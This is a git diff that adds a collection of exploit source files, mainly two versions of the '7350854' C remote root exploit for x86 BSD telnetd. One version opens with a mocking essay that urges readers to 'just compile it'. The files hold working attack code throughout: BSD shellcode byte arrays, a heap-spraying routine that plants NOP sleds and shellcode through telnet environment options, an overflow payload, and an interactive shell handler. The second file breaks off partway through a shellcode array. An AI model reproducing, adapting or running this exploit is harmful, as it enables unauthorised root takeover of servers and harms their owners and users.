initial

12 files changed, 2340 insertions, 0 deletions

diff --git a/exploits/7350854/7350854 b/exploits/7350854/7350854
new file mode 100644
index 0000000..7647d66
--- /dev/null
+++ b/exploits/7350854/7350854
diff --git a/exploits/7350854/7350854-r b/exploits/7350854/7350854-r
new file mode 100644
index 0000000..87bf289
--- /dev/null
+++ b/exploits/7350854/7350854-r
diff --git a/exploits/7350854/7350854-r.c b/exploits/7350854/7350854-r.c
new file mode 100644
index 0000000..40853ea
--- /dev/null
+++ b/exploits/7350854/7350854-r.c
@@ -0,0 +1,944 @@
+
+#ifdef  DESPERATION
+
+Yes, this is the exploit. Yes, fully legal, straight from the authors, this
+time. No need to dwelve through archives or ask teenagers to hand it to you.
+Just plain and simple. For free.
+
+No need to worry about copyrights, privacy, about risk and results of your
+actions. No need to fear legal prosecution, denial of service attacks or some
+bad publicity. Just clean this time. Clean enough to right stick it into the
+archive.
+
+No need to violate something, your moral, your ethics or the rules you live
+by. They all stay away from the center of the storm, safely.
+
+I apologize to everyone I had asked not to disclose this and everyone who was
+offended by my postings. Also the ones that send me threatening emails. And
+those that pointed out my non conforming behaviour to me. I apologize.
+
+
+Yes, full disclosure works,
+Yes, this exploit helps everyone,
+Yes, I truly love everyone involved.
+
+Yes, dear pentester, take it and earn your living in the next pentest using
+this code. Enjoy how easy it was, without the need to understand, the need to
+know what is happening. Ah, relieving, quite fresh even. Tastes well, nearly
+as well as your fresh certificates. And you did not even pay for it, so there
+is more for certificates, right? Or buy your little children some new toy, for
+it was a hard time the last years, and you wish you would have more time for
+them, so show it to them.
+
+Yes, dear collector, this is an item not to miss. Be sure to get the tagged
+and broken versions too, for that your archive would be incomplete without.
+And who wants that, an incomplete archive. If you like archiving, you can do
+it all the time. Maybe someday you will have the archiving authority then, and
+can charge money for it. Or delay things for non paying customers. But be sure
+to copyright it, else some unethical person might steal your archive and nice
+compilation in which you have invested so many hours and investor capital. But
+I am sure you will manage this and for this I like you.
+
+Yes, dear moderator, as you read until now, I have to congratulate you to
+having improved your reading skills. Unbelieveable, I jump, enjoying your
+newly aquainted capabilities and wish you good luck in the future. After all,
+information wants to be free and the sooner one gets over it and apologizes,
+the more time is there to drive with the new car in this sunny days. Good
+work.
+
+Yes, dear blackhat, for that you are remaining calm and quiet. For that, I
+like you. You do not flame or provocate, you apply your wisdom after all. You
+do not advocate, and you have not caused me sleepless nights. That is
+something I truly like you for.
+
+Yes, dear whitehat, your shiny hat blends by enlightning silver colours and I
+truly understand what you want to give back with nobel goals. Your bright
+shining hat overtones all the unnecessary details and really points to the
+important things. This brightens the goal while it shades the rough way.
+
+Yes, dear script kiddie, I am sorry I caused so much trouble. Just compile it
+and start the fun, for that is what exploits are meant to be. And fun, it is
+not important to understand things there, its important to enjoy it, right?
+
+Yes, dear webmaster, we all like your sites and the content. Add this file to
+your content and do the humankind good. You have full legal permission to do
+so, no need to worry this time. No need to argue, ask or acknowledge.
+
+Yes, dear author of source code, you have my true respect. You truly made the
+internet what it is and I respect your true art of code.
+
+Yes, dear law, for that most of us respect you. You provide the framework for
+social life, for the basic forms of respect in todays commercial minded
+livings. Sometimes we hate you and sometimes we rely on you. Since you remain
+there everytime, it must be our fault. You cannot explain it, but I think I
+understand what you mean.
+
+
+Yes, now enjoy the exploit.
+No strings attached.
+
+#endif
+
+/* 7350854 - x86/bsd telnetd remote root exploit
+ *
+ * bug found by scut 2001/06/09
+ * further research by smiler, zip, lorian and me.
+ * thanks to zip's cool friend for giving me a testbed to play on
+ *
+ * tested against: BSDI BSD/OS 4.1
+ *                 NetBSD 1.5
+ *                 FreeBSD 3.1
+ *                 FreeBSD 4.0-REL
+ *                 FreeBSD 4.2-REL
+ *                 FreeBSD 4.3-BETA
+ *                 FreeBSD 4.3-STABLE
+ *                 FreeBSD 4.3-RELEASE
+ *
+ */
+
+#define VERSION "0.0.7"
+
+#include <sys/types.h>
+#include <sys/time.h>
+#include <sys/socket.h>
+#include <netinet/in.h>
+#include <arpa/inet.h>
+#include <arpa/telnet.h>
+#include <netdb.h>
+#include <errno.h>
+#include <fcntl.h>
+#include <unistd.h>
+#include <stdio.h>
+#include <stdlib.h>
+#include <string.h>
+#include <time.h>
+
+
+/* global variables, uhhohh!
+ */
+int     mode = 16;
+int     num = 245;
+int     pop = 31500;    /* puts code at 0x08fdff0a */
+int     bs = 1;         /* buffer start */
+
+int     num34 = 244;
+int     pop34 = 71833;  /* puts code at 0x0a0d08fe */
+int     bs34 = 0;
+
+int     walk;           /* populator walker */
+int     force = 0;      /* force exploitation */
+int     checkonly = 0;  /* check telnetd only */
+
+
+void usage (char *progname);
+int xp_check (int fd);
+void xp_pop (int fd);
+void xp_shrinkwin (int fd);
+void xp_setenv (int fd, unsigned char *var, unsigned char *val);
+void xp (int fd);
+void shell (int sock);
+void hexdump (char *desc, unsigned char *data, unsigned int amount);
+
+/* imported from shellkit */
+unsigned long int random_get (unsigned long int low, unsigned long int high);
+void random_init (void);
+int bad (unsigned char u);
+int badstr (unsigned char *code, int code_len, unsigned char *bad,
+        int bad_len);
+unsigned long int x86_nop_rwreg (void);
+unsigned long int x86_nop_xfer (char *xferstr);
+unsigned int x86_nop (unsigned char *dest, unsigned int dest_len,
+        unsigned char *bad, int bad_len);
+
+#define BSET(dest, len, val, bw) { \
+        dest &= ~(((unsigned char) ~0) >> bw);  /* clear lower bits */ \
+        dest |= val << (8 - bw - len);          /* set value bits */ \
+        bw += len; \
+}
+
+/* imported from network.c */
+#define NET_CONNTIMEOUT 60
+int     net_conntimeout = NET_CONNTIMEOUT;
+
+unsigned long int net_resolve (char *host);
+int net_connect (struct sockaddr_in *cs, char *server,
+        unsigned short int port, int sec);
+
+
+/* x86/bsd PIC portshell shellcode
+ * by lorian/teso
+ * port 0x4444 (might want to change it here)
+ */
+unsigned char   x86_bsd_portshell[] =
+        "\x31\xdb\xf7\xe3\x53\x43\x53\x43\x53\xb0\x61\x53"
+        "\xcd\x80\x96\x52\x66\x68\x44\x44\x66\x53\x89\xe5"
+                                /* ^^  ^^ port */
+        "\x6a\x10\x55\x56\x56\x6a\x68\x58\xcd\x80\xb0\x6a"
+        "\xcd\x80\x60\xb0\x1e\xcd\x80\x53\x50\x50\xb0\x5a"
+        "\xcd\x80\x4b\x79\xf6\x52\x89\xe3\x68\x6e\x2f\x73"
+        "\x68\x68\x2f\x2f\x62\x69\x60\x5e\x5e\xb0\x3b\xcd"
+        "\x80";
+
+/* x86/bsd PIC execve shellcode
+ * by lorian/teso
+ */
+unsigned char   x86_bsd_execvesh[] =
+        "\x6a\x3b\x58\x99\x52\x89\xe3\x68\x6e\x2f\x73\x68"
+        "\x68\x2f\x2f\x62\x69\x60\x5e\x5e\xcd\x80";
+
+/* x86/bsd(i)+solaris execve shellcode
+ * by lorian/teso
+ */
+unsigned char   x86_bsd_compaexec[] =
+        "\xbf\xee\xee\xee\x08\xb8\xff\xf8\xff\x3c\xf7\xd0"
+        "\xfd\xab\x31\xc0\x99\xb0\x9a\xab\xfc\xab\xb0\x3b"
+        "\x52\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89"
+        "\xe3\x52\x53\x89\xe1\x52\x51\x53\xff\xd7";
+
+
+unsigned char * shellcode = x86_bsd_compaexec;
+
+
+#define COL 55
+
+
+void
+usage (char *progname)
+{
+        fprintf (stderr, "usage: %s [-n <num>] [-c] [-f] <ip>\n\n", progname);
+        fprintf (stderr, "-n num\tnumber of populators, for testing purposes\n"
+                "-c\tcheck exploitability only, do not exploit\n"
+                "-f\tforce mode, override check results\n\n");
+        fprintf (stderr, "WARNING: this is no easy exploit, we have to get things tightly aligned and\n"
+                        "send 16/34mb of traffic to the remote telnet daemon. it might not be able to\n"
+                        "take that, or it will take very long for it (> 1h). beware.\n\n");
+        
+        fprintf (stderr, "tested:\tFreeBSD 3.1, 4.0-REL, 4.2-REL, 4.3-BETA, 4.3-STABLE, 4.3-RELEASE \n"
+                        "\tNetBSD 1.5\n"
+                        "\tBSDI BSD/OS 4.1\n\n");
+
+        exit (EXIT_FAILURE);
+}
+
+int
+main (int argc, char *argv[])
+{
+        char                    c;
+        char *                  progname;
+        char *                  dest;
+        int                     i, j, fd,
+                                dots = 0;
+        int                     popc;
+        struct timeval          start,
+                                cur;
+        unsigned long long int  g_pct,  /* gaussian percentage */
+                                g_all;  /* gaussian overall */
+
+
+        fprintf (stderr, "7350854 - x86/bsd telnetd remote root\n"
+                "by zip, lorian, smiler and scut.\n\n");
+
+        progname = argv[0];
+        if (argc < 2)
+                usage (progname);
+
+
+        while ((c = getopt (argc, argv, "n:cf")) != EOF) {
+                switch (c) {
+                case 'n':
+                        num = atoi (optarg);
+                        break;
+                case 'c':
+                        checkonly = 1;
+                        break;
+                case 'f':
+                        force = 1;
+                        break;
+                default:
+                        usage (progname);
+                        break;
+                }
+        }
+
+        dest = argv[argc - 1];
+        if (dest[0] == '-')
+                usage (progname);
+
+        fd = net_connect (NULL, dest, 23, 20);
+        if (fd <= 0) {
+                fprintf (stderr, "failed to connect\n");
+                exit (EXIT_FAILURE);
+        }
+
+        random_init ();
+
+        if (xp_check (fd) == 0 && force == 0) {
+                printf ("aborting\n");
+#ifndef DEBUG
+                exit (EXIT_FAILURE);
+#endif
+        }
+        close (fd);
+
+        if (checkonly)
+                exit (EXIT_SUCCESS);
+
+        fd = net_connect (NULL, dest, 23, 20);
+        if (fd <= 0) {
+                fprintf (stderr, "failed to connect the second time\n");
+                exit (EXIT_FAILURE);
+        }
+
+        printf ("\n#############################################################################\n\n");
+        printf ("ok baby, times are rough, we send %dmb traffic to the remote\n"
+                "telnet daemon process, it will spill badly. but then, there is no\n"
+                "other way, sorry...\n\n", mode);
+
+#ifdef DEBUG
+        getchar ();
+#endif
+        printf ("## setting populators to populate heap address space\n");
+
+        g_all = ((unsigned long long int)(pop / 2)) *
+                        ((unsigned long long int)(pop + 1));
+        g_pct = 0;
+
+        printf ("## number of setenvs (dots / network): %d\n", pop);
+        printf ("## number of walks (percentage / cpu): %Lu\n", g_all);
+        printf ("##\n");
+        printf ("## the percentage is more realistic than the dots ;)\n");
+        printf ("\n");
+        printf ("percent |");
+
+        popc = pop / COL;
+        for (i = pop / popc ; i >= 0 ; --i)
+                printf ("-");
+        printf ("|      ETA |\n");
+
+        gettimeofday (&start, NULL);
+
+        for (walk = 0 ; walk < pop ; ++walk) {
+                xp_pop (fd);
+
+                g_pct += walk;
+
+                if (walk % popc == 0)
+                        dots += 1;
+
+                if (walk % 200 == 0) {
+                        int                     pct;
+                        float                   pct_f;
+                        unsigned long int       diff;
+
+                        pct = (int) ((g_pct * 100) / g_all);
+                        pct_f = g_pct * 100;
+                        pct_f /= (float) g_all;
+
+                        /* calculate difference not caring about accuracy */
+                        gettimeofday (&cur, NULL);
+                        diff = cur.tv_sec - start.tv_sec;
+
+                        printf ((pct == 100) ? "\r%3.2f%% |" : ((pct / 10) ?
+                                "\r %2.2f%% |" : "\r  %1.2f%% |"), pct_f);
+                        for (j = 0 ; j < dots ; ++j)
+                                printf (".");
+                        for ( ; j <= COL ; ++j)
+                                printf (" ");
+
+                        if (pct != 0) {
+                                diff = (int) ((((float)(100 - pct_f)) /
+                                        (float) pct_f) * diff);
+                                printf ("| %02lu:%02lu:%02lu |",
+                                        diff / 3600, (diff % 3600) / 60,
+                                        diff % 60);
+                        } else {
+                                printf ("| --:--:-- |");
+                        }
+
+                        fflush (stdout);
+                }
+        }
+        printf ("\n\n");
+
+        printf ("## sleeping for 10 seconds to let the process recover\n");
+        sleep (10);
+
+#ifdef DEBUG
+        getchar ();
+#endif
+        /* return into 0x08feff0a */
+        xp (fd);
+        sleep (1);
+
+        printf ("## ok, you should now have a root shell\n");
+        printf ("## as always, after hard times, there is a reward...\n");
+        printf ("\n\ncommand: ");
+        fflush (stdout);
+
+        shell (fd);
+
+        exit (EXIT_SUCCESS);
+}
+
+
+void
+xp (int fd)
+{
+        int             n;
+        unsigned char   buf[2048];
+
+
+        /* basic overflow */
+        for (n = bs ; n < sizeof (buf) ; ++n)
+                buf[n] = (n - bs) % 2 ? '\xf6' : '\xff';
+
+        /* some nifty alignment */
+        buf[0] = '\xff';        /* IAC */
+        buf[1] = '\xf5';        /* AO  */
+
+        if (mode == 16) {
+                buf[2] = '\xff';        /* IAC */
+                buf[3] = '\xfb';        /* WILL */
+                buf[4] = '\x26';        /* ENCRYPTION */
+        }
+
+        /* force 0x08feff0a as return */
+        buf[num++] = '\xff';
+        buf[num++] = '\xfb';
+        buf[num++] = '\x08';
+
+        /* and the output_encrypt overwrite action, yay! */
+        buf[num++] = '\xff';
+        buf[num++] = '\xf6';
+
+        /* XXX: should not fail here, though we should better loop and check */
+        n = send (fd, buf, num, 0);
+        if (n != num) {
+                perror ("xp:send");
+        }
+}
+
+
+#ifdef INSANE_MIND
+
+void
+xp_shrinkwin (int fd)
+{
+        int             n;
+        int             iobc;
+        int             p = 0;
+        unsigned char   buf[2048];
+        char            c;
+        int             val;
+        int             len;
+
+        for (n = 0 ; n < sizeof (buf) ; ++n)
+                buf[n] = n % 2 ? '\xf6' : '\xff';
+
+        len = sizeof (val);
+        getsockopt (fd, SOL_SOCKET, SO_SNDLOWAT, &val, &len);
+        printf ("SO_SNDLOWAT = %d\n", val);
+        val = 1;
+        printf ("setsockopt: %s\n",
+                setsockopt (fd, SOL_SOCKET, SO_SNDLOWAT, &val, sizeof(val)) ?
+                "FAILED" : "SUCCESS");
+        val = 1234;
+        getsockopt (fd, SOL_SOCKET, SO_SNDLOWAT, &val, &len);
+        printf ("SO_SNDLOWAT = %d\n", val);
+
+        getchar();
+        while (1) {
+                if (p > 105)
+                        c = getchar();
+                if (c == 'r') {
+                        getchar();
+                        read (fd, &buf[1024], 384);
+                } else if (c == 'o') {
+                        getchar();
+                        send (fd, "7", 1, MSG_OOB);
+                } else if (c != 'r') {
+                        usleep(100000);
+                        n = send (fd, buf, 112, 0);
+                        ioctl (fd, FIONREAD, &iobc);
+                        len = sizeof (val);
+                        getsockopt (fd, SOL_SOCKET, SO_RCVBUF, &val, &len);
+                        printf ("%02d. send: %d  local: %d/%d (%d left)\n",
+                                ++p, n, iobc, val, val - iobc);
+                }
+        }
+}
+#endif
+
+
+/* xp_pop - populator function
+ *
+ * causes remote telnet daemon to setenv() variables with our content, populating
+ * the heap with shellcode. this will get us more nopspace and place our shellcode
+ * where the nice addresses are, that we can create by writing telnet option
+ * strings.
+ *
+ * XXX: there seems to be a maximum size for the environment value you can set,
+ *      which is 510. we use 496 bytes for nopspace and shellcode therefore.
+ *      should work, rather similar to tsig tcp/malloc exploitation. -sc
+ */
+
+void
+xp_pop (int fd)
+{
+        unsigned char   var[16];
+        unsigned char   storebuf[496];
+        sprintf (var, "%06x", walk);
+#ifdef DEBUG
+        memset (storebuf, '\xcc', sizeof (storebuf));
+#else
+/*      memset (storebuf, '\x90', sizeof (storebuf));   */
+        x86_nop (storebuf, sizeof (storebuf), "\x00\x01\x02\x03\xff", 5);
+        memcpy (storebuf + sizeof (storebuf) - strlen (shellcode) - 1,
+                shellcode, strlen (shellcode));
+#endif
+        storebuf[sizeof (storebuf) - 1] = '\0';
+
+        xp_setenv (fd, var, storebuf);
+}
+
+
+void
+xp_setenv (int fd, unsigned char *var, unsigned char *val)
+{
+        int             n = 0;
+        unsigned char   buf[2048];
+
+        buf[n++] = IAC;
+        buf[n++] = SB;
+        buf[n++] = TELOPT_NEW_ENVIRON;
+        buf[n++] = TELQUAL_IS;
+        buf[n++] = ENV_USERVAR;
+
+        /* should not contain < 0x04 */
+        while (*var) {
+                if (*var == IAC)
+                        buf[n++] = *var;
+                buf[n++] = *var++;
+        }
+        buf[n++] = NEW_ENV_VALUE;
+        while (*val) {
+                if (*val == IAC)
+                        buf[n++] = *val;
+                buf[n++] = *val++;
+        }
+        buf[n++] = IAC;
+        buf[n++] = SE;
+
+        if (send (fd, buf, n, 0) != n) {
+                perror ("xp_setenv:send");
+                exit (EXIT_FAILURE);
+        }
+}
+
+
+int
+xp_check (int fd)
+{
+        int             n;
+        unsigned int    expect_len = 15;
+        unsigned char   expected[] =
+                "\x0d\x0a\x5b\x59\x65\x73\x5d\x0d\x0a\xff\xfe\x08\xff\xfd\x26";
+                /* \r  \n  [   Y   e   s   ]   \r  \n IAC DONT 08 IAC DO 26*/
+        unsigned int    additional_len = 8;
+        unsigned char   additional[] =
+                "\xff\xfa\x26\x01\x01\x02\xff\xf0";
+                /*IAC SB  ENC ........... IAC SE */
+
+        unsigned char   buf[128];
+
+        read (fd, buf, sizeof (buf));
+
+        n = 0;
+        buf[n++] = IAC;                 /* 0xff */
+        buf[n++] = AYT;                 /* 0xf6 */
+
+        buf[n++] = IAC;                 /* 0xff */
+        buf[n++] = WILL;                /* 0xfb */
+        buf[n++] = TELOPT_NAOL;         /* 0x08 */
+
+        buf[n++] = IAC;                 /* 0xff */
+        buf[n++] = WILL;                /* 0xfb */
+        buf[n++] = TELOPT_ENCRYPT;      /* 0x26 */
+
+#ifdef DEBUG
+        hexdump ("check send buffer", buf, n);
+#endif
+        if (send (fd, buf, n, 0) != n) {
+                perror ("xp_check:send");
+                exit (EXIT_FAILURE);
+        }
+
+        n = read (fd, buf, sizeof (buf));
+#ifdef DEBUG
+        hexdump ("check recv buffer", buf, n);
+#endif
+
+        if (memcmp (buf, expected, expect_len) == 0) {
+                if (memcmp (buf+expect_len, additional, additional_len) == 0) {
+                        mode = 16;
+                } else {
+                        mode = 34;
+                        bs = bs34;
+                }
+                printf ("check: PASSED, using %dmb mode\n", mode);
+
+                return (1);
+        }
+
+        printf ("check: FAILED\n");
+
+        return (0);
+}
+
+
+void
+shell (int sock)
+{
+        int     l;
+        char    buf[512];
+        fd_set  rfds;
+
+
+        while (1) {
+                FD_SET (0, &rfds);
+                FD_SET (sock, &rfds);
+
+                select (sock + 1, &rfds, NULL, NULL, NULL);
+                if (FD_ISSET (0, &rfds)) {
+                        l = read (0, buf, sizeof (buf));
+                        if (l <= 0) {
+                                perror ("read user");
+                                exit (EXIT_FAILURE);
+                        }
+                        write (sock, buf, l);
+                }
+
+                if (FD_ISSET (sock, &rfds)) {
+                        l = read (sock, buf, sizeof (buf));
+                        if (l <= 0) {
+                                perror ("read remote");
+                                exit (EXIT_FAILURE);
+                        }
+                        write (1, buf, l);
+                }
+        }
+}
+
+
+/* ripped from zodiac */
+void
+hexdump (char *desc, unsigned char *data, unsigned int amount)
+{
+        unsigned int    dp, p;  /* data pointer */
+        const char      trans[] =
+                "................................ !\"#$%&'()*+,-./0123456789"
+                ":;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklm"
+                "nopqrstuvwxyz{|}~...................................."
+                "....................................................."
+                "........................................";
+
+
+        printf ("/* %s, %u bytes */\n", desc, amount);
+
+        for (dp = 1; dp <= amount; dp++) {
+                fprintf (stderr, "%02x ", data[dp-1]);
+                if ((dp % 8) == 0)
+                        fprintf (stderr, " ");
+                if ((dp % 16) == 0) {
+                        fprintf (stderr, "| ");
+                        p = dp;
+                        for (dp -= 16; dp < p; dp++)
+                                fprintf (stderr, "%c", trans[data[dp]]);
+                        fflush (stderr);
+                        fprintf (stderr, "\n");
+                }
+                fflush (stderr);
+        }
+        if ((amount % 16) != 0) {
+                p = dp = 16 - (amount % 16);
+                for (dp = p; dp > 0; dp--) {
+                        fprintf (stderr, "   ");
+                        if (((dp % 8) == 0) && (p != 8))
+                                fprintf (stderr, " ");
+                        fflush (stderr);
+                }
+                fprintf (stderr, " | ");
+                for (dp = (amount - (16 - p)); dp < amount; dp++)
+                        fprintf (stderr, "%c", trans[data[dp]]);
+                fflush (stderr);
+        }
+        fprintf (stderr, "\n");
+
+        return;
+}
+
+
+
+unsigned long int
+net_resolve (char *host)
+{
+        long            i;
+        struct hostent  *he;
+
+        i = inet_addr(host);
+        if (i == -1) {
+                he = gethostbyname(host);
+                if (he == NULL) {
+                        return (0);
+                } else {
+                        return (*(unsigned long *) he->h_addr);
+                }
+        }
+        return (i);
+}
+
+
+int
+net_connect (struct sockaddr_in *cs, char *server,
+        unsigned short int port, int sec)
+{
+        int                     n,
+                                len,
+                                error,
+                                flags;
+        int                     fd;
+        struct timeval          tv;
+        fd_set                  rset, wset;
+        struct sockaddr_in      csa;
+
+        if (cs == NULL)
+                cs = &csa;
+
+        /* first allocate a socket */
+        cs->sin_family = AF_INET;
+        cs->sin_port = htons (port);
+        fd = socket (cs->sin_family, SOCK_STREAM, 0);
+        if (fd == -1)
+                return (-1);
+
+        if (!(cs->sin_addr.s_addr = net_resolve (server))) {
+                close (fd);
+                return (-1);
+        }
+
+        flags = fcntl (fd, F_GETFL, 0);
+        if (flags == -1) {
+                close (fd);
+                return (-1);
+        }
+        n = fcntl (fd, F_SETFL, flags | O_NONBLOCK);
+        if (n == -1) {
+                close (fd);
+                return (-1);
+        }
+
+        error = 0;
+
+        n = connect (fd, (struct sockaddr *) cs, sizeof (struct sockaddr_in));
+        if (n < 0) {
+                if (errno != EINPROGRESS) {
+                        close (fd);
+                        return (-1);
+                }
+        }
+        if (n == 0)
+                goto done;
+
+        FD_ZERO(&rset);
+        FD_ZERO(&wset);
+        FD_SET(fd, &rset);
+        FD_SET(fd, &wset);
+        tv.tv_sec = sec;
+        tv.tv_usec = 0;
+
+        n = select(fd + 1, &rset, &wset, NULL, &tv);
+        if (n == 0) {
+                close(fd);
+                errno = ETIMEDOUT;
+                return (-1);
+        }
+        if (n == -1)
+                return (-1);
+
+        if (FD_ISSET(fd, &rset) || FD_ISSET(fd, &wset)) {
+                if (FD_ISSET(fd, &rset) && FD_ISSET(fd, &wset)) {
+                        len = sizeof(error);
+                        if (getsockopt(fd, SOL_SOCKET, SO_ERROR, &error, &len) < 0) {
+                                errno = ETIMEDOUT;
+                                return (-1);
+                        }
+                        if (error == 0) {
+                                goto done;
+                        } else {
+                                errno = error;
+                                return (-1);
+                        }
+                }
+        } else
+                return (-1);
+
+done:
+        n = fcntl(fd, F_SETFL, flags);
+        if (n == -1)
+                return (-1);
+        return (fd);
+}
+
+
+/* imported from shellkit */
+
+unsigned long int
+random_get (unsigned long int low, unsigned long int high)
+{
+        unsigned long int       val;
+
+        if (low > high) {
+                low ^= high;
+                high ^= low;
+                low ^= high;
+        }
+
+        val = (unsigned long int) random ();
+        val %= (high - low);
+        val += low;
+
+        return (val);
+}
+
+
+void
+random_init (void)
+{
+        srandom (time (NULL));
+}
+
+
+int
+bad (unsigned char u)
+{
+        if (u == '\x00' || u == '\x0a' || u == '\x0d' || u == '\x25')
+                return (1);
+
+        return (0);
+}
+
+int
+badstr (unsigned char *code, int code_len, unsigned char *bad, int bad_len)
+{
+        int     n;
+
+        for (code_len -= 1 ; code_len >= 0 ; --code_len) {
+                for (n = 0 ; n < bad_len ; ++n)
+                        if (code[code_len] == bad[n])
+                                return (1);
+        }
+
+        return (0);
+}
+
+unsigned long int
+x86_nop_rwreg (void)
+{
+        unsigned long int       reg;
+
+        do {
+                reg = random_get (0, 7);
+        } while (reg == 4);     /* 4 = $esp */
+
+        return (reg);
+}
+
+
+
+unsigned long int
+x86_nop_xfer (char *xferstr)
+{
+        int                     bw = 0; /* bitfield walker */
+        unsigned char           tgt;    /* resulting instruction */
+
+        /* in a valid xferstr we trust */
+        for (tgt = 0 ; xferstr != NULL && xferstr[0] != '\0' ; ++xferstr) {
+                switch (xferstr[0]) {
+                case ('0'):
+                        BSET (tgt, 1, 0, bw);
+                        break;
+                case ('1'):
+                        BSET (tgt, 1, 1, bw);
+                        break;
+                case ('r'):
+                        BSET (tgt, 3, x86_nop_rwreg (), bw);
+                        break;
+                case ('.'):
+                        break;  /* ignore */
+                default:
+                        fprintf (stderr, "on steroids, huh?\n");
+                        exit (EXIT_FAILURE);
+                        break;
+                }
+        }
+
+        if (bw != 8) {
+                fprintf (stderr, "invalid bitwalker: bw = %d\n", bw);
+                exit (EXIT_FAILURE);
+        }
+
+        return (tgt);
+}
+
+
+unsigned int
+x86_nop (unsigned char *dest, unsigned int dest_len,
+        unsigned char *bad, int bad_len)
+{
+        int     walk;
+        int     bcount; /* bad counter */
+        char *  xs;
+        char *  xferstr[] = {
+                "0011.0111",    /* aaa */
+                "0011.1111",    /* aas */
+                "1001.1000",    /* cbw */
+                "1001.1001",    /* cdq */
+                "1111.1000",    /* clc */
+                "1111.1100",    /* cld */
+                "1111.0101",    /* cmc */
+                "0010.0111",    /* daa */
+                "0010.1111",    /* das */
+                "0100.1r",      /* dec <reg> */
+                "0100.0r",      /* inc <reg> */
+                "1001.1111",    /* lahf */
+                "1001.0000",    /* nop */
+                "1111.1001",    /* stc */
+                "1111.1101",    /* std */
+                "1001.0r",      /* xchg al, <reg> */
+                NULL,
+        };
+        unsigned char   tgt;
+
+
+        for (walk = 0 ; dest_len > 0 ; dest_len -= 1 , walk += 1) {
+                /* avoid endless loops on excessive badlisting */
+                for (bcount = 0 ; bcount < 16384 ; ++bcount) {
+                        xs = xferstr[random_get (0, 15)];
+                        tgt = x86_nop_xfer (xs);
+
+                        dest[walk] = tgt;
+                        if (badstr (&dest[walk], 1, bad, bad_len) == 0)
+                                break;
+                }
+
+                /* should not happen */
+                if (bcount >= 16384) {
+                        fprintf (stderr, "too much blacklisting, giving up...\n");
+                        exit (EXIT_FAILURE);
+                }
+        }
+
+        return (walk);
+}
+
+
diff --git a/exploits/7350854/7350854.c b/exploits/7350854/7350854.c
new file mode 100644
index 0000000..95dd740
--- /dev/null
+++ b/exploits/7350854/7350854.c
@@ -0,0 +1,877 @@
+/* 7350854 - x86/bsd telnetd remote root exploit
+ *
+ * TESO CONFIDENTIAL - SOURCE MATERIALS
+ *
+ * This is unpublished proprietary source code of TESO Security.
+ *
+ * The contents of these coded instructions, statements and computer
+ * programs may not be disclosed to third parties, copied or duplicated in
+ * any form, in whole or in part, without the prior written permission of
+ * TESO Security. This includes especially the Bugtraq mailing list, the
+ * www.hack.co.za website and any public exploit archive.
+ *
+ * (C) COPYRIGHT TESO Security, 2001
+ * All Rights Reserved
+ *
+ *****************************************************************************
+ * bug found by scut 2001/06/09
+ * further research by smiler, zip, lorian and me.
+ * thanks to zip's cool friend for giving me a testbed to play on
+ *
+ * tested against: BSDI BSD/OS 4.1
+ *                 NetBSD 1.5
+ *                 FreeBSD 3.1
+ *                 FreeBSD 4.0-REL
+ *                 FreeBSD 4.2-REL
+ *                 FreeBSD 4.3-BETA
+ *                 FreeBSD 4.3-STABLE
+ *                 FreeBSD 4.3-RELEASE
+ *
+ */
+
+#define VERSION "0.0.7"
+
+#include <sys/types.h>
+#include <sys/time.h>
+#include <sys/socket.h>
+#include <netinet/in.h>
+#include <arpa/inet.h>
+#include <arpa/telnet.h>
+#include <netdb.h>
+#include <errno.h>
+#include <fcntl.h>
+#include <unistd.h>
+#include <stdio.h>
+#include <stdlib.h>
+#include <string.h>
+#include <time.h>
+
+
+/* global variables, uhhohh!
+ */
+int     mode = 16;
+int     num = 245;
+int     pop = 31500;    /* puts code at 0x08fdff0a */
+int     bs = 1;         /* buffer start */
+
+int     num34 = 244;
+int     pop34 = 71833;  /* puts code at 0x0a0d08fe */
+int     bs34 = 0;
+
+int     walk;           /* populator walker */
+int     force = 0;      /* force exploitation */
+int     checkonly = 0;  /* check telnetd only */
+
+
+void usage (char *progname);
+int xp_check (int fd);
+void xp_pop (int fd);
+void xp_shrinkwin (int fd);
+void xp_setenv (int fd, unsigned char *var, unsigned char *val);
+void xp (int fd);
+void shell (int sock);
+void hexdump (char *desc, unsigned char *data, unsigned int amount);
+
+/* imported from shellkit */
+unsigned long int random_get (unsigned long int low, unsigned long int high);
+void random_init (void);
+int bad (unsigned char u);
+int badstr (unsigned char *code, int code_len, unsigned char *bad,
+        int bad_len);
+unsigned long int x86_nop_rwreg (void);
+unsigned long int x86_nop_xfer (char *xferstr);
+unsigned int x86_nop (unsigned char *dest, unsigned int dest_len,
+        unsigned char *bad, int bad_len);
+
+#define BSET(dest, len, val, bw) { \
+        dest &= ~(((unsigned char) ~0) >> bw);  /* clear lower bits */ \
+        dest |= val << (8 - bw - len);          /* set value bits */ \
+        bw += len; \
+}
+
+/* imported from network.c */
+#define NET_CONNTIMEOUT 60
+int     net_conntimeout = NET_CONNTIMEOUT;
+
+unsigned long int net_resolve (char *host);
+int net_connect (struct sockaddr_in *cs, char *server,
+        unsigned short int port, int sec);
+
+
+/* x86/bsd PIC portshell shellcode
+ * by lorian/teso
+ * port 0x4444 (might want to change it here)
+ */
+unsigned char   x86_bsd_portshell[] =
+        "\x31\xdb\xf7\xe3\x53\x43\x53\x43\x53\xb0\x61\x53"
+        "\xcd\x80\x96\x52\x66\x68\x44\x44\x66\x53\x89\xe5"
+                                /* ^^  ^^ port */
+        "\x6a\x10\x55\x56\x56\x6a\x68\x58\xcd\x80\xb0\x6a"
+        "\xcd\x80\x60\xb0\x1e\xcd\x80\x53\x50\x50\xb0\x5a"
+        "\xcd\x80\x4b\x79\xf6\x52\x89\xe3\x68\x6e\x2f\x73"
+        "\x68\x68\x2f\x2f\x62\x69\x60\x5e\x5e\xb0\x3b\xcd"
+        "\x80";
+
+/* x86/bsd PIC execve shellcode
+ * by lorian/teso
+ */
+unsigned char   x86_bsd_execvesh[] =
+        "\x6a\x3b\x58\x99\x52\x89\xe3\x68\x6e\x2f\x73\x68"
+        "\x68\x2f\x2f\x62\x69\x60\x5e\x5e\xcd\x80";
+
+/* x86/bsd(i)+solaris execve shellcode
+ * by lorian/teso
+ */
+unsigned char   x86_bsd_compaexec[] =
+    "\xbf\xee\xee\xee\x08\xb8\xff\xf8\xff\x3c\xf7\xd0"
+    "\xfd\xab\x31\xc0\x99\xb0\x9a\xab\xfc\xab\xb0\x3b"
